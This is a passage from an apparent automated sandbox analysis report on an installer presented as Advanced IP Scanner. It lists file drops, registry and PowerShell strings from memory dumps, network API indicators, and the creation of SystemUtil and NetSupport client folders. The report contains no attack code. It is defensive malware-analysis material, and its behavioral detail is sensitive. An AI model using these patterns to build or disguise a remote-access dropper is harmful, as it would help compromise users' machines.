"MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-1KK21.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_he_il.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-JOMFD.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_hr_hr.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-90NFF.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_hu_hu.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-UGD23.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_id_id.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-8UJQD.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_it_it.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-283S7.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ja_jp.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-KK3EH.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_ko_kr.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-0FLOC.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_lt_lt.qm (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "MoveFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\is-IDVGR.tmp & %PROGRAMFILES%\(x86)\Advanced IP Scanner\advanced_ip_scanner_lv_lv.qm (UID: 00000000-00004944)a1:T530,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" with parameter %TEMP%\is-PNL5K.tmp (UID: 00000000-00004852) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %TEMP%\is-4605S.tmp (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %TEMP%\is-4605S.tmp\_isetup (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\platforms (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\printsupport (UID: 00000000-00004944) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Network Tools (UID: 00000000-00004944) "powershell.exe" with parameter %APPDATA%\SystemUtil (UID: 00000000-00004600) "client32.exe" with parameter %LOCALAPPDATA%\NetSupport (UID: 00000000-00006444) "client32.exe" with parameter %LOCALAPPDATA%\NetSupport\NetSupport Manager (UID: 00000000-00006444)a2:T73d,Antivirus vendors marked dropped file "Advanced IP Scanner for Windows.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Icon number=0 Unicoded MachineID w4uvulyez49wqns KnownFolderID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E Archive ctime=Wed Feb 25 17:51:29 2026 atime=Wed Feb 25 17:51:29 2026 mtime=Fri Apr 29 22:13:52 2022 length=1681960 window=normal IDListSize 0x01b3 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe"") Antivirus vendors marked dropped file "nskbfltr.inf" as clean (type is "Unknown") Antivirus vendors marked dropped file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" as clean (type is "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"), Antivirus vendors marked dropped file "is-FM1T2.tmp" as clean (type is "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"), Antivirus vendors marked dropped file "is-3M61T.tmp" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 6 sections"), Antivirus vendors marked dropped file "is-CSTPV.tmp" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "is-NHVD6.tmp" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "is-9N0AN.tmp" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "TCCTL32.DLL" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "is-16P7F.tmp" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections")a3:T3be4,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004600.00000000.119924.005A0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004600.00000000.119924.005A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004600.00000001.120699.005A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{89BC3F49-F8D9-5103-BA13-DE497E609167}" in Source: 00000000-00004600.00000001.120699.005A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}" in Source: 00000000-00004600.00000001.120699.005A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}" in Source: 00000000-00004600.00000001.120699.005A0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004600.00000001.120699.005A0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004600.00000001.120699.00C51000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004600.00000001.120699.07170000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004600.00000001.120699.0723E000.00000004.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00004852.00000001.119222.010A1000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00004852.00000001.119222.010A1000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00004852.00000001.119222.010A1000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00004852.00000001.119222.010A1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004852.00000001.119222.010A1000.00000020.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004944.00000000.117413.00990000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00004944.00000000.117413.00990000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_is1" in Source: 00000000-00004944.00000000.117413.04F40000.00000004.mdmp "Software\Wow6432`" in Source: 00000000-00004944.00000001.119334.009E1000.00000004.mdmp "Software\Wow6432" in Source: 00000000-00004944.00000001.119334.009E1000.00000004.mdmp "Software\Wow6432 " in Source: 00000000-00004944.00000001.119334.009E1000.00000004.mdmp "sSoftware\Wow6432 " in Source: 00000000-00004944.00000001.119334.009E1000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00004944.00000001.119334.72691000.00000020.mdmp "Software\Microsoft\Input" in Source: 00000000-00004944.00000001.119334.72691000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE" in Source: 00000000-00004944.00000001.119334.72691000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\CFL\ExperienceManagerData" in Source: 00000000-00004944.00000001.119334.72691000.00000020.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004944.00000002.121090.00990000.00000004.mdmp "Software\Wow6432`" in Source: 00000000-00004944.00000002.121090.00990000.00000004.mdmp "Software\Wow6432" in Source: 00000000-00004944.00000002.121090.00990000.00000004.mdmp "Software\Wow6432 " in Source: 00000000-00004944.00000002.121090.00990000.00000004.mdmp "sSoftware\Wow6432 " in Source: 00000000-00004944.00000002.121090.00990000.00000004.mdmp "REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00004944.00000002.121090.00A32000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00004944.00000002.121090.00A32000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004944.00000002.121090.00A32000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004944.00000002.121090.00A32000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000000.120912.034F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006444.00000000.120912.03599000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000001.122834.03569000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\nsafltr\Parameters" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Enum\ACPI" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "System\CurrentControlSet\Services\Gdihook5" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\NetSupport Ltd\Client32" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\NSL\Saved\DS" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Policies\NetSupport\Client\standard" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Classes\ActivatableClasses\Package\DefaultBrowser_NOPUBLISHERID\Server\DefaultBrowserServer" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Productive Computer Insight\Client32" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Productive Computer Insight\Client32\AutoReconnect" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\NPPr675hg" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Policies\NetSupport" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Policies\NetSupport\Client\Standard" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Policies\NetSupport\Client" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\%c" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Set [HKLM\%s]%s=1 (from %d)" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports\" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\NetSupport Ltd\Client32" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x.%s" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "System\CurrentControlSet\Control\GraphicsDrivers\DCI" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\NSL" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\RM\Connect" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Research Machines\Network Management\Location Chooser" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\NetSupport Ltd\PCICTL" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "SOFTWARE\Productive Computer Insight\PCICTL" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00006444.00000001.122834.1118F000.00000002.mdmp "Registry\Machine\Software\Classes\AppID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Registry\Machine\Software\Classes\AppID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}" in Source: 00000000-00006444.00000002.124753.03569000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00006444.00000002.124753.111DD000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00006444.00000002.124753.111DD000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00006444.00000002.124753.111DD000.00000004.mdmpa4:Td6f,Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00004600.00000000.119924.07170000.00000004.mdmp") Found string "$currentResolvedPaths = Resolve-Path -LiteralPath $currentPath -ErrorAction Stop" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$currentResolvedPaths = Resolve-Path -Path $currentPath -ErrorAction Stop" (Indicator: "Resolve-Path"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$exception = New-Object System.InvalidOperationException $errorMessage, $_.Exception" (Indicator: "New-Object"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$result = Test-Path -LiteralPath $currentPath -Type Leaf" (Indicator: "Test-Path"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$sourceDirInfo = New-Object -TypeName System.IO.DirectoryInfo -ArgumentList $sourceDirPath" (Indicator: "New-Object"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$result = Test-Path -LiteralPath $DestinationPath -Type Leaf" (Indicator: "Test-Path"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$archiveFileStream = New-Object -TypeName System.IO.FileStream -ArgumentList $archiveFileStreamArgs" (Indicator: "New-Object"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$zipArchive = New-Object -TypeName System.IO.Compression.ZipArchive -ArgumentList $zipArchiveArgs" (Indicator: "New-Object"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp") Found string "$buffer = New-Object Byte[] $bufferSize" (Indicator: "New-Object"; Source: "00000000-00004600.00000001.120699.08660000.00000004.mdmp")a5:T617,Found reference to API "WNetCancelConnection2A" (Indicator: "WNetCancelConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetAddConnection2A" (Indicator: "WNetAddConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetGetConnectionA" (Indicator: "WNetGetConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetEnumResourceW" (Indicator: "WNetEnumResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetCloseEnum" (Indicator: "WNetCloseEnum"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetGetUniversalNameW" (Indicator: "WNetGetUniversalName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetGetConnectionW" (Indicator: "WNetGetConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetOpenEnumW" (Indicator: "WNetOpenEnum"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetAddConnection2W" (Indicator: "WNetAddConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WNetCancelConnection2W" (Indicator: "WNetCancelConnection"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe")a6:Tbd5,file/memory contains long string with (Indicator: "inet_ntoa"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "inet_addr"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "gethostbyname"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "gethostname"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "wsastartup"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "wsacleanup"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "wsagetlasterror"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: " connect "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsastartup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsacleanup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " send "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " recv "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " shutdown "; File: "is-8ATDV.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-QOD8S.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-A53CI.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-6OT1Q.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-H74HU.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-0FLOC.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-L4UHQ.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-90NFF.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-41UEE.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-8NJEV.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-9TUV8.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-VSJM4.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-1IK2H.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-8UJQD.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-3RFSO.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-9JITI.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-JOMFD.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-27SS0.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-IDVGR.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-QRSI0.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-UGD23.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-10EK4.tmp") file/memory contains long string with (Indicator: " shutdown "; File: "is-TQ6AE.tmp")a7:T587,Found registry query API: "RegQueryValueExW" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegOpenKeyExW" in file 